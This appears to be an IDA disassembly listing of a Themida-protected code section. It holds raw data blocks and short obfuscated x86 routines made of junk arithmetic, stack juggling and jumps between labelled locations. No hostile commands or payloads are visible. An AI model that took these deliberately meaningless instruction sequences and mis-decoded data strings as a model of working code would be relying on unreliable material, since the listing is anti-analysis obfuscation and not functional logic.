dd 0C481240Ch, 4, 335BDA01h, 40E92414h, 31FFFFE6h, 5E6C1D6h
dd 0D8E7C681h, 0A1E9456Ch, 5200004Eh, 2E34BD55h, 0C5E92E47h
dd 68000053h, 0
aSB db '),$éÜB',0
align 4
dd 0E9870459h, 0FFFFBEBCh, 8904EC83h, 0E9552434h, 3D08h
dd 295AD001h, 40F22DD8h, 0BB5324CEh, 26E60B7Ah, 81FFEB83h
dd 8868D7C3h, 92E9574Dh
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5479BB: ; CODE XREF: Themida_:00548D91j
push ecx
sub esp, 4
mov [esp], edx
mov edx, 2C6C5189h
not edx
push ebx
mov ebx, 78E83584h
shl ebx, 3
shl ebx, 5
shl ebx, 2
sub ebx, 172BAB9Ah
add edx, 775937A5h
sub edx, ebx
sub edx, 775937A5h
pop ebx
push edx
jmp loc_545AA5
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0D6C78100h, 0E9599463h, 0FFFFFDE5h, 4247C01h
dd 81008F5Fh, 0B36A7028h, 9962E93Ch, 34FFFFFFh, 0C4835A24h
dd 4C28104h, 83000000h, 3C8904ECh, 0FFE95524h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547A2F: ; CODE XREF: Themida_:005451E9j
and ah, 7Dh
not ah
sub esp, 4
jmp loc_5461DB
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 2C58100h, 87000000h, 248B242Ch, 89666424h, 991EE902h
dd 0F9BFFFFFh, 812A6868h, 3027B0E7h, 5EFC10Fh, 31D3EF81h
dd 0D7F74145h, 7A9DF781h, 0FE014F86h, 81243C8Bh, 4C4h
dd 81DE0100h, 724A50EEh, 0C6835B0Fh, 24348704h, 8B24248Bh
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_54D5C7
; ---------------------------------------------------------------------------
loc_547AAA: ; CODE XREF: Themida_:00547667j
pop esi
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push eax
jmp loc_545EFD
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 5D23F4BAh, 81DAF73Fh, 0A2DC0AEAh, 65ED81C0h, 125B954h
dd 65C581D5h, 5A25B954h, 8B242C87h, 0FF662424h, 0E99C2404h
dd 0FFFF988Ch, 650AEE81h, 685941D7h, 389Eh, 0BA241489h
dd 100F52DFh, 0CE9D601h, 54FFFFE7h, 5024048Fh, 4B8h, 24440100h
dd 24048B04h, 4C481h, 3C8B0000h, 5A545224h, 4C281h, 8EE90000h
dd 0BB000034h, 339841B4h, 0FFF9B4E9h, 2EFC1FFh, 0FFBA3DE9h
dd 242489FFh, 4240483h, 43A8E9h, 10C68100h, 1048E8Ah, 0C5815EF5h
dd 4, 5C242C87h, 0A7BA5259h, 81688C56h, 0BA1AA0C3h, 81D3297Ah
dd 0BA1AA0EBh, 24148B7Ah, 1735E951h, 0A2B90000h, 81240370h
dd 5C7E4CE1h, 4DC9812Fh, 8129E818h, 0E904A8F1h, 81E9D122h
dd 0D48BD5F1h, 0EDE95017h, 34000042h, 0C0D8F6AEh, 3C2C08E8h
dd 0C3885366h, 0D888CBFEh, 53D8E9h, 24048700h, 241C895Ch
dd 0E950E389h, 0FFFFD2A5h
; ---------------------------------------------------------------------------
loc_547BC8: ; CODE XREF: Themida_:00548862j
mov [esp], ecx
jmp loc_548CFB
; ---------------------------------------------------------------------------
loc_547BD0: ; CODE XREF: Themida_:0054541Dj
pop ecx
push dword ptr [esp]
jmp loc_54216C
; ---------------------------------------------------------------------------
db 53h, 0BBh, 4
dd 0E9000000h, 3B05h
; ---------------------------------------------------------------------------
loc_547BE4: ; CODE XREF: Themida_:00543BA1j
shr edx, 1
and edx, 4772163Bh
xor edx, 21C31F07h
push edx
sub dword ptr [esp], 0FFE2A1Fh
mov eax, [esp]
jmp loc_543C7E
; ---------------------------------------------------------------------------
dw 0E7C0h
dd 0B182E902h, 7401FFFFh, 348B0424h, 4C48124h, 50000000h
dd 716907B8h, 2444813Ch, 8D623604h, 24448110h, 0B31ECF04h
dd 2444012Eh, 246C8104h, 0B31ECF04h, 246C812Eh, 8D623604h
dd 4015810h, 0D075E924h, 5358FFFFh, 271ED3BBh, 1CF75318h
dd 0C3815B24h, 18271ED7h, 55BD801h, 4, 0E9240433h, 0FFFFD12Bh
dd 0D224248Bh, 0E99C2424h, 0FFFF9700h, 54AE68h, 24348900h
dd 0FFBCFCE9h, 0D830ACFFh, 7B7768h, 241C8900h, 4EC81h
dd 14890000h, 0E980B624h, 0DA7h, 0C41E92BDh, 4EC8164h
dd 89000000h, 7CBA2414h, 810AAC76h, 0BA2588CAh, 0A9CA811Ch
dd 812DB962h, 408803C2h, 52EA29C0h, 24148B5Dh, 0D01DE952h
dd 0E42DFFFFh, 2952AF1Ch, 7B0E9C2h, 0D8F70000h, 183F7B35h
dd 76272D7Fh, 28052EA5h, 0E970C3DFh, 45E0h, 241C8753h
dd 0E953D3F7h, 0FFFFF011h, 55E68956h, 4BDh, 8BEE0100h
dd 0C483242Ch, 4C68304h, 2474FF56h, 48F5E04h, 38A2E924h
dd 8B540000h, 0C4812404h, 4, 2B3DE9h, 0E7815D00h, 5771608Eh
dd 4028B951h, 0C981500Ch, 56DC4662h, 358CC181h, 0E1812DB9h
dd 5D1A07E0h, 407BE981h, 0F1810D8Dh, 8DBEDBB6h, 0FFE179E9h
dd 48B66FFh, 0E9545624h, 3D4h, 0E8C1E0D1h, 0FDBB5308h
dd 81102737h, 0E10DE1EBh, 2AA4E962h, 0E2890000h, 4C281h
dd 56500000h, 7F405DBEh, 5EF08975h, 59D2E9h, 6FE95E00h
dd 0BF000050h, 4, 0CBE9FA01h, 0F6000056h, 2CE950DDh
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547DB3: ; CODE XREF: Themida_:0054738Cj
sub eax, 47DA0E4Ch
jmp loc_548F1F
; ---------------------------------------------------------------------------
db 81h, 0C1h, 10h
dd 0C113A533h, 0E7E904E9h, 0FF000040h, 48B2434h, 514B6824h
dd 4890000h, 48B5424h, 0A688E924h, 525EFFFFh, 5F583BAh
dd 5AD731B5h, 6A1DC181h, 0F9013A11h, 6A1DE981h, 815F3A11h
dd 4C1h, 240C8700h, 3124248Bh, 69E92404h, 5CFFFF95h, 1BB868h
dd 24148900h, 4FDDE955h, 0ED800000h, 59EB2867h, 8053B450h
dd 0E300BBF4h, 81C30058h, 4ECh, 24148900h, 77A868h, 240C8900h
dd 23B21EB5h, 0FFBCFFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_547E49: ; CODE XREF: Themida_:0054CDF6j
inc edi
sub edi, 529AF249h
sub ecx, edi
pop edi
jmp loc_54BA9A
; ---------------------------------------------------------------------------
loc_547E58: ; CODE XREF: Themida_:00546F15j
mov [esp], esi
push 4C85243Fh
mov esi, [esp]
jmp loc_549F4D
; ---------------------------------------------------------------------------
loc_547E68: ; CODE XREF: Themida_:005438F1j
add esp, 4
jmp loc_54803C
; ---------------------------------------------------------------------------
dd 159CF29h, 243C8BFBh, 4C481h, 0C3830000h, 241C8704h
dd 0E924248Bh, 0FFFF94ECh, 5C243C87h, 4BD55h, 56050000h
dd 1298539h, 3671E9E8h, 4B80000h, 1000000h, 575658C1h
dd 0FFD255E9h, 81E189FFh, 4C1h, 58D0E900h, 0F1810000h
dd 0A9D146Fh, 0DD8AE981h, 0CD8901EEh, 37ED8159h, 2914BDCCh
dd 64E95DEBh
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547EDB: ; CODE XREF: Themida_:0054C784j
pop ebx
push ebx
mov ebx, 6A3709FCh
sub ebx, 0ECADA9FDh
sub edx, ebx
pop ebx
jmp loc_54B767
; ---------------------------------------------------------------------------
dd 0BB53D629h, 51B264D6h, 5D4EF381h, 0F38108C0h, 330B3447h
dd 3BC3BA52h, 0EA8157AAh, 2706BEB3h, 815AD329h, 84226CBh
dd 24F38169h, 14393E5h, 875A5BDEh, 895C2434h, 0B3B1240Ch
dd 0FFC306E9h, 240C89FFh, 2B53E9h, 7889BE00h, 14E96C86h
dd 59FFFFBEh, 4C481h, 0C4810000h, 4, 0FFD592E9h, 0C8E95EFFh
dd 1FFFFEAh, 0EF0158C5h, 0FFDBCCE9h, 0FC009FFh, 46684h
dd 1C77FF00h, 8904EC83h, 0BE562404h, 1BD94B1Bh, 2AF0B850h
dd 0C6317D54h, 0FFB293E9h, 243CD2FFh, 93E6E99Ch, 0F66FFFFh
dd 0CAE902B6h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547F9B: ; CODE XREF: Themida_:0054CC57j
mov [esp], cx
push 701Dh
mov [esp], ebx
jmp loc_548479
; ---------------------------------------------------------------------------
loc_547FAC: ; CODE XREF: Themida_:005449FEj
add ebp, ecx
pop ecx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
add bl, al
push 5888h
mov [esp], eax
mov al, 0DDh
jmp loc_54C8A8
; ---------------------------------------------------------------------------
dw 1C89h
db '$h~)',0
align 2
dw 489h
dd 2434FF24h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 0E389241Ch
dd 4EC81h, 4890000h, 1002B824h, 0BE92FCAh, 55000059h, 4BDh
dd 0E9E90100h, 2301h, 598CE9ADh, 9A680000h, 5F3B2402h
dd 0E781DFF7h, 1E059FEh, 5602EFC1h, 9B2BACBEh, 81DEF741h
dd 673737CEh, 0BDEE8113h, 0E9471F11h, 4039h
; ---------------------------------------------------------------------------
loc_54803C: ; CODE XREF: Themida_:00547E6Bj
push 5136h
jmp loc_54839F
; ---------------------------------------------------------------------------
dw 0B8h
dd 5000000h, 26201245h, 452DE829h, 0E9262012h, 52FDh
; ---------------------------------------------------------------------------
loc_54805C: ; CODE XREF: Themida_:00548B8Ej
not edx
jmp loc_541F57
; ---------------------------------------------------------------------------
db 5Dh
dd 31241433h, 14332414h, 24248B24h, 4B30F66h, 0FDE99C24h
dd 66FFFF92h, 0E9240C8Bh, 0FFFFFBF4h, 4B8h, 205FE900h
dd 0CE810000h, 6D7E2784h, 83EE8146h, 152CF67h, 0F7815EF7h
dd 3AE258AAh, 14FCEF81h, 814F48A1h, 0E5135AF7h, 2DFBE9BDh
dd 0E1C00000h, 8E1C008h, 28FFC180h, 435BE9CEh, 0F2810000h
dd 6E865EE8h, 148BD601h, 4C48124h, 52000000h, 2BAh, 5AD60100h
dd 31243433h, 34332434h, 0E7E95C24h, 83000029h, 42E904ECh
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5480F7: ; CODE XREF: Themida_:0054D08Cj
mov edi, [esp]
add esp, 4
shl edi, 7
sub edi, 27203DBEh
push edi
pop ebx
jmp loc_543B30
; ---------------------------------------------------------------------------
dd 1C8C68h, 240C8900h, 0FFDE1DE9h, 0C1DBF7FFh, 0CDE902EBh
dd 81FFFFFBh, 3A7E52E2h, 0F7DAF753h, 81DAF7DAh, 6CCE19EAh
dd 0E9D70128h, 0FFFFD073h, 5E2434FFh, 81E38953h, 4C3h
dd 4C38300h, 5C241C87h, 0FFD2ECE9h, 0F7D987FFh, 0C001E9D3h
dd 0C483FFFFh, 0E9545104h, 286h, 5154EB81h, 0FB29451Fh
dd 1C70E9h, 3C77FF00h, 8904EC83h, 0CBE9242Ch
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548187: ; CODE XREF: Themida_:00542FE8j
push 3DF7h
mov [esp], eax
mov eax, 4
jmp loc_5452DE
; ---------------------------------------------------------------------------
db 80h, 0F1h, 41h
dd 665FC980h, 2414F651h, 0E9C05966h, 54A2E904h, 0C5810000h
dd 31243911h, 4ED835Fh, 0E9242C33h, 0FFFFF567h, 2474FF50h
dd 48F5804h, 0E1895124h, 4C181h, 24E90000h, 33FFFFCFh
dd 0C31240Ch, 240C3324h, 6824248Bh, 33D9h, 0FFD556E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5481ED: ; CODE XREF: Themida_:00544A3Bj
dec dh
xor dh, 0Dh
sub bl, dh
pop edx
push eax
jmp loc_54790B
; ---------------------------------------------------------------------------
db 0ADh
dd 7F9BE56h, 71E96931h, 5500001Eh, 455B55BDh, 0E581455Ch
dd 41AB5E72h, 7881CD81h, 0ED811D07h, 7D611D93h, 615FE581h
dd 0BA525475h, 57CC4961h, 0F44E9h, 1ED8300h, 0FE0CE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54823A: ; CODE XREF: Themida_:005451BFj
xor [esp], edx
xor edx, [esp]
jmp loc_5487BC
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 4C481h, 0EC810000h, 4, 0FFB197E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548259: ; CODE XREF: Themida_:00543CE7j
sub esp, 4
mov [esp], eax
mov eax, esp
push edi
mov edi, 422A224Eh
jmp loc_54C4BA
; ---------------------------------------------------------------------------
db 50h
dd 0D6242C81h, 8B599463h, 74E9243Ch
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54827F: ; CODE XREF: Themida_:0054C503j
add ecx, edi
push ebx
mov ebx, 3FC082Fh
add ebx, 0FFFFFFFFh
neg ebx
xor ebx, 7F95571Dh
add ebx, 16432C0Eh
shl ebx, 2
add ebx, 0F7D9E49Dh
add ecx, ebx
pop ebx
jmp loc_5435C9
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 1FEAE9h
db 0
; ---------------------------------------------------------------------------
loc_5482B1: ; CODE XREF: Themida_:005475ADj
pop ebx
xor ebx, 49CC26F3h
mov ecx, ebx
jmp loc_54D81D
; ---------------------------------------------------------------------------
loc_5482BF: ; CODE XREF: Themida_:0054D37Ej
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
add edi, 72D26C09h
add edi, ecx
jmp loc_543B8E
; ---------------------------------------------------------------------------
dd 825B252h, 0B4E95AD5h, 66FFFFAAh, 6824048Bh, 6834h, 89243C89h
dd 91BDE9E7h, 0EE29FFFFh, 0E9242C8Bh, 4461h, 8B240487h
dd 0E92424h, 66000037h, 0E9240489h, 0FFFF905Ch, 239BA52h
dd 42E920D8h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548327: ; CODE XREF: Themida_:0054B769j
mov ebp, 2DBF5D5Fh
add [esp+4], ebp
jmp loc_54A6B0
; ---------------------------------------------------------------------------
aLSu db '‹$$éu/',0
dd 48F58100h, 107218Bh, 2434FFE8h, 0FFE8F7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54834D: ; CODE XREF: Themida_:005419CAj
push 2DB7h
jmp loc_54644D
; ---------------------------------------------------------------------------
db 80h
dd 0CB0015EBh, 5915C380h, 0EB80C300h, 11C38047h, 0FFC023E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54836D: ; CODE XREF: Themida_:0054CC33j
pop ecx
shl esi, 8
push ebp
mov ebp, 0ED12B0Ch
sub esi, ebp
mov ebp, [esp]
jmp loc_545004
; ---------------------------------------------------------------------------
db 56h, 68h, 0FDh
dd 8B722B3Ch, 0C4812434h, 4, 0FF96B5E9h, 5AD388FFh, 5BE9D888h
db 90h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54839F: ; CODE XREF: Themida_:00548041j
mov [esp], esi
mov esi, 2EA6663Dh
not esi
add esi, 9F282EE6h
sub eax, 24313FC1h
sub eax, 1F95B3Ah
sub eax, 0F764ED0h
sub eax, esi
push ecx
jmp loc_541ABC
; ---------------------------------------------------------------------------
dw 0E901h
dd 0FF9768E9h, 4C483FFh, 5604C483h, 4EC81h, 77E90000h
dd 4F000049h, 8904EC83h, 6FBA2414h, 21725258h, 0D35AE9D7h
dd 8159FFFFh, 4C1h, 4C07E900h, 34FF0000h, 0C145E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548406: ; CODE XREF: Themida_:005448C7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
or ecx, ecx
jz loc_54BD98
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
push ebx
mov ebx, esp
jmp loc_54C1C5
; ---------------------------------------------------------------------------
db 0BDh
dd 18933321h, 2C8BE901h, 4C48124h, 51000000h, 592414F7h
dd 0D3FDF181h, 0D1E9BE8Eh, 81FFFFBBh, 2A7110F5h, 0E9EF8964h
dd 0FFFFDA97h, 0E924048Fh, 0FFFFE040h
; ---------------------------------------------------------------------------
loc_548468: ; CODE XREF: Themida_:00545862j
mov ebp, 4E9446EFh
push ecx
sub esp, 4
jmp loc_54B9D3
; ---------------------------------------------------------------------------
loc_548479: ; CODE XREF: Themida_:00547FA7j
mov bl, 0E3h
mov ch, bl
pop ebx
push edx
mov dh, 0F7h
jmp loc_54CF98
; ---------------------------------------------------------------------------
loc_548486: ; CODE XREF: Themida_:0054BB87j
xor ebp, ecx
pop ecx
jmp loc_5418F5
; ---------------------------------------------------------------------------
aXsi db 'Xé¨:',0
align 4
loc_548494: ; CODE XREF: Themida_:0054B031j
or esi, 20002835h
sub esi, 1
push esi
not dword ptr [esp]
pop esi
xor esi, 82A44EB5h
xor ebp, esi
pop esi
and eax, ebp
pop ebp
shr eax, 0Eh
xor eax, ecx
push 4904h
mov [esp], eax
sub esp, 4
mov [esp], edx
jmp loc_541586
; ---------------------------------------------------------------------------
db 52h, 0E9h, 6Ah
db 9Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5484CF: ; CODE XREF: Themida_:0054714Cj
xchg eax, [esp]
jmp loc_54579C
; ---------------------------------------------------------------------------
aPirsw7 db '^P䈎W7',0
align 10h
dd 36196858h, 0C890000h, 81E18924h, 4C1h, 4E98100h, 87000000h
dd 248B240Ch, 240C8924h, 2B9h, 0C8BDE900h, 555DFFFFh, 6855C589h
dd 1392h, 0BD242C89h, 1C8E1CF6h, 4244481h, 6FD5498Ch, 4246C01h
dd 498CBA52h, 54296FD5h, 5D5A0824h, 83240C8Bh, 0BF5704C4h
dd 714C454Eh, 8DEF814Fh, 0F777CB77h, 9027E9DFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54854E: ; CODE XREF: Themida_:00541D19j
add esi, edx
jmp loc_545FDD
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 8704C483h, 525C241Ch, 0FB681BBAh, 409FE938h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54856A: ; CODE XREF: Themida_:00549998j
sub ecx, 3A847AA3h
jmp loc_5460CC
; ---------------------------------------------------------------------------
db 81h, 0CEh, 2Bh
dd 81536860h, 526937F6h, 8BF72969h, 0C4832434h, 0FFFE8904h
dd 815F2434h, 4C4h, 5EF00100h, 0F66C331h, 545100B6h, 14A8E9h
dd 1C77FF00h, 6658669Dh, 9C240411h, 0FF8DC3E9h, 59CB89FFh
dd 0DD51E943h, 0B9FFFFh, 1000000h, 0E91188C1h, 4CFFh, 8B241487h
dd 77FF2424h, 2434FF1Ch, 81240C8Bh, 4C4h, 4EC8100h, 89000000h
dd 1FE92414h, 0BF000022h, 0D15FA161h, 3C8BF831h, 4C48124h
dd 1000000h, 575058C3h, 0FFFA09E9h, 4C483FFh, 5C24048Fh
dd 261EE9h, 0E9E08900h, 0FFFFBDE2h, 180368h, 24248900h
dd 4240483h, 4EC835Eh, 0E9241C89h, 0FFFFEED6h, 0C2164D2Dh
dd 1423E910h, 0A8040000h, 46768h, 24148900h, 465DE9h, 5B8ABF00h
dd 0DFF72F54h, 8105EFC1h, 0D63C1EF7h, 77BD552Ah, 0E902BA39h
dd 0FFFFA049h, 965C1A68h, 1CBB5919h, 8119965Ch, 0B67758EBh
dd 99D9E96Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54867E: ; CODE XREF: Themida_:00545A19j
pop esi
jmp loc_546679
; ---------------------------------------------------------------------------
dd 8124148Bh, 4C4h, 14875F00h, 0E95824h, 52FFFFCCh, 42474FFh
dd 6824148Bh, 3742h, 89240C89h, 4BD55E1h, 0E9000000h, 0FFFFE0C5h
; ---------------------------------------------------------------------------
loc_5486B4: ; CODE XREF: Themida_:0054A28Ej
push esi
mov esi, 4
sub ecx, esi
pop esi
xchg ecx, [esp]
pop esp
mov [esp], esi
jmp loc_5461C1
; ---------------------------------------------------------------------------
db 0B8h, 2, 0
dd 0AE90000h, 55FFFFC8h, 5D2414F7h, 45D5F74Dh, 3F7ABE56h
dd 0BD5539E7h, 46FF3CF6h, 0E906EDC1h, 2626h
; ---------------------------------------------------------------------------
loc_5486F0: ; CODE XREF: Themida_:005459D1j
add esp, 4
and eax, ebx
pop ebx
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], edi
mov edi, 78721DEEh
mov edx, edi
pop edi
shl edx, 1
sub edx, 77C3130Ah
jmp loc_545D99
; ---------------------------------------------------------------------------
dd 0C8B60F5Ch, 0C9E95456h, 52FFFF97h, 205552BAh, 0EBBAE91Eh
dd 3C33FFFFh, 8B665C24h, 0EC832404h, 24148904h, 52535A54h
dd 635F7DBAh, 5AD3892Ah, 0FFEEC8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548759: ; CODE XREF: Themida_:0054D3C0j
mov [esp], ebp
push 103775A8h
jmp loc_544AE5
; ---------------------------------------------------------------------------
dw 0F75Fh
dd 11C581DDh, 8140E570h, 6880D5F5h, 66DD2D5Dh, 0E8292D0Dh
dd 17A9E9h, 5DEF0100h, 4C781h, 3C330000h, 243C3124h, 1233E9h
dd 53C32800h, 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h
dd 92B45024h, 0B252DCF6h, 0E9D430B5h, 4E1Eh
; ---------------------------------------------------------------------------
loc_5487BC: ; CODE XREF: Themida_:00548240j
pop esp
jmp loc_54C886
; ---------------------------------------------------------------------------
loc_5487C2: ; CODE XREF: Themida_:0054C51Aj
and ebp, 773584Dh
inc ebp
dec ebp
sub ebp, 212103Fh
mov edi, ebp
pop ebp
add ebp, edi
mov edi, [esp]
jmp loc_546812
; ---------------------------------------------------------------------------
loc_5487DD: ; CODE XREF: Themida_:00543CC4j
add edi, 0A03BDAA8h
jmp loc_546BF7
; ---------------------------------------------------------------------------
dd 0E9D830ACh, 35FEh, 81E28952h, 4C2h, 4EA8300h, 5C241487h
dd 50241C89h, 0C45FE956h, 8B66FFFFh, 3068240Ch, 89000046h
dd 0E2892414h, 4EC81h, 0C890000h, 6BB0B924h, 1BE9674Dh
dd 8BFFFF96h, 0C4832434h, 0C1815804h, 2, 2474FF51h, 240C8B04h
dd 3764E9h, 4332C00h, 240C8BF8h, 0A889E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548852: ; CODE XREF: Themida_:0054432Bj
pop ecx
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push 1020h
jmp loc_547BC8
; ---------------------------------------------------------------------------
loc_548867: ; CODE XREF: Themida_:00549EF2j
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ecx
jmp loc_542A68
; ---------------------------------------------------------------------------
dw 2C89h
dd 4BD24h, 39E90000h, 66FFFFC0h, 0E9240C8Bh, 387Fh, 1D5E17BFh
dd 6E7C13Dh, 24F7E781h, 0C78118FCh, 3D70369Ah, 0C1D7F74Fh
dd 8B6803EFh, 0E9000064h, 0FFFFB3D3h, 31C6E9ACh, 0FE880000h
dd 0E9F48850h, 0FFFFCCF9h, 57C2015Bh, 255731BFh, 0BCE78119h
dd 477A6E6Dh, 8106EFC1h, 2A5540EFh, 81EFD14Fh, 0B90994C7h
dd 5FFA01E0h, 9EC281h, 79E9731Ah, 66FFFF8Ah, 52240C8Bh
dd 24148B54h, 0FF9374E9h, 4C681FFh, 83000000h, 3E904C6h
dd 68FFFF94h, 16F2h, 89243489h, 4C681E6h, 68000000h, 43E1h
dd 81243C89h, 4ECh, 241C8900h, 299CB850h, 0C38946C8h, 2998BF58h
dd 31E946C8h, 5DFFFF8Ah, 0FFC768E9h, 81D6F7FFh, 0BB48BBE6h
dd 9C6811Dh, 813C7C48h, 0AF909EF6h, 5EF1294Ch, 8B240C87h
dd 89662424h, 0B2E92404h, 89000048h, 4BF57E2h, 1000000h
dd 0B8E1E9FAh, 815DFFFFh, 2F32F2EEh, 50BB5341h, 0E97F6342h
dd 29C0h
; ---------------------------------------------------------------------------
loc_54899C: ; CODE XREF: Themida_:0054A853j
push edi
push eax
push 54B100ACh
pop eax
shr eax, 5
sub eax, 2A58005h
mov edi, eax
pop eax
mov esi, edi
mov edi, [esp]
push 7950h
mov [esp], eax
mov eax, esp
push 22C2h
mov [esp], edi
mov edi, 2FBA4A1Ch
jmp loc_542379
; ---------------------------------------------------------------------------
dd 1C70E181h, 0D9F71020h, 1429C181h, 0F18100D6h, 0CBE211A2h
dd 0E981D1F7h, 9937CE06h, 0C8BC889h, 4C48124h, 31000000h
dd 58042444h, 56BE5658h, 0F76BF32Ah, 0BA524EDEh, 6AE05350h
dd 3870E281h, 0E94A5A71h, 0FFFFD0EFh
; ---------------------------------------------------------------------------
loc_548A18: ; CODE XREF: Themida_:00547478j
add esp, 4
sub dl, 0EBh
not dl
sub esp, 4
mov [esp], edx
not byte ptr [esp]
jmp loc_54358F
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 8
dd 1464F281h, 7BE90000h, 89000022h, 9CE92414h, 66000008h
dd 246C8652h, 0B1B8E901h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548A52: ; CODE XREF: Themida_:00549428j
mov edx, edi
pop edi
push edx
mov edx, 9E7198Ah
mov ebx, edx
pop edx
add ebx, edx
pop edx
jmp loc_544917
; ---------------------------------------------------------------------------
dw 4BFh
dd 29000000h, 0A18CE9FAh, 148BFFFFh, 0E6895624h, 4C681h
dd 91E90000h, 57FFFFC1h, 3E3437BFh, 31E7815Bh, 0E9204414h
dd 0FFFFD3BDh, 8F24248Bh, 248B2404h, 0BB0F6624h, 0E99C2404h
dd 0FFFF88D0h, 3487574Fh, 87D6F724h, 0E95F2434h, 0FFFFC261h
dd 0E902E9C1h, 5A1h
; ---------------------------------------------------------------------------
loc_548AC0: ; CODE XREF: Themida_:00544CD4j
pop eax
jmp loc_543F12
; ---------------------------------------------------------------------------
loc_548AC6: ; CODE XREF: Themida_:0054671Ej
pop bx
push ebx
mov bh, 0B9h
jmp loc_5466DB
; ---------------------------------------------------------------------------
dd 3C5FEA81h, 0C2013F0Bh, 3C5FC281h, 0E9583F0Bh, 2FAFh
dd 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 2434FF5Ch, 0E92434FFh
dd 4234h, 582414F7h, 0BB53h, 0C3290000h, 5B585350h, 0D371055Bh
dd 0C381E780h, 3FA523FDh, 0EB81C301h, 3FA523FDh, 4475E958h
dd 8B660000h, 86E92404h, 66000049h, 0E924148Bh, 4A49h
dd 0C62DE0D1h, 0E9E84ED0h, 949h, 0E904EC83h, 0FFFFACC5h
; ---------------------------------------------------------------------------
loc_548B50: ; CODE XREF: Themida_:00549F25j
pop eax
jmp loc_5495C3
; ---------------------------------------------------------------------------
dw 248Bh
dd 0C896624h, 302AE924h, 0BD550000h, 79BE2C05h, 45F5E9h
dd 2434FF00h, 29C2E9h
db 0
; ---------------------------------------------------------------------------
loc_548B75: ; CODE XREF: Themida_:00544572j
and esi, ecx
pop ecx
push edi
mov edi, 280402Ch
sub esi, edi
jmp loc_543C1D
; ---------------------------------------------------------------------------
loc_548B85: ; CODE XREF: Themida_:005433CEj
not edx
xchg edx, [esp]
pop edx
shl edx, 1
dec edx
jmp loc_54805C
; ---------------------------------------------------------------------------
loc_548B93: ; CODE XREF: Themida_:00547074j
add ebp, 4
jmp loc_54261D
; ---------------------------------------------------------------------------
loc_548B9E: ; CODE XREF: Themida_:00541D59j
push 0D30h
jmp loc_5444FD
; ---------------------------------------------------------------------------
dd 0BEE9F001h, 81FFFFC5h, 4C2h, 0E6895600h, 4C681h, 0EE830000h
dd 24348704h, 2404895Ch, 0B806CCB8h, 0E8C1407Ch, 1F97E908h
dd 852C0000h, 0B7535A66h, 66DFF614h, 3095B050h, 45866C7h
dd 0E9262C87h, 4471h, 8B2434FFh, 0C4832404h, 38236804h
dd 0C890000h, 0C8B5424h, 3BCAE924h, 148B0000h, 8B545324h
dd 0C481241Ch, 4, 8904EC83h, 5552243Ch, 3863BCBDh, 0C7A8BA23h
dd 0EA010B14h, 8BD7895Dh, 0C4832414h, 7CC78104h, 81329311h
dd 0AB67ECF7h, 1FB95134h, 8169EA64h, 240814F1h, 0FDC18102h
dd 0E9E87CEEh, 0FFFFF218h, 9CC83B5Ch, 0FF8717E9h, 61EF81FFh
dd 11F5B24h, 61C781EFh, 0FF1F5B24h, 94E92434h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548C77: ; CODE XREF: Themida_:00547701j
pop ebp
jmp loc_545026
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 4C5815Ch, 0E9000000h, 0FFFFC917h, 0FECF814Fh, 0C17D9308h
dd 90E903E7h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548C9B: ; CODE XREF: Themida_:00543651j
mov eax, edi
pop edi
pop ebp
add esi, eax
pop eax
xchg esi, [esp]
pop esp
or eax, eax
jz loc_545DC4
push dword ptr [edi+1Ch]
jmp loc_543787
; ---------------------------------------------------------------------------
loc_548CB6: ; CODE XREF: Themida_:00545355j
shr edi, 8
xor edi, 168B6007h
and edi, 60C81209h
jmp loc_54A7DA
; ---------------------------------------------------------------------------
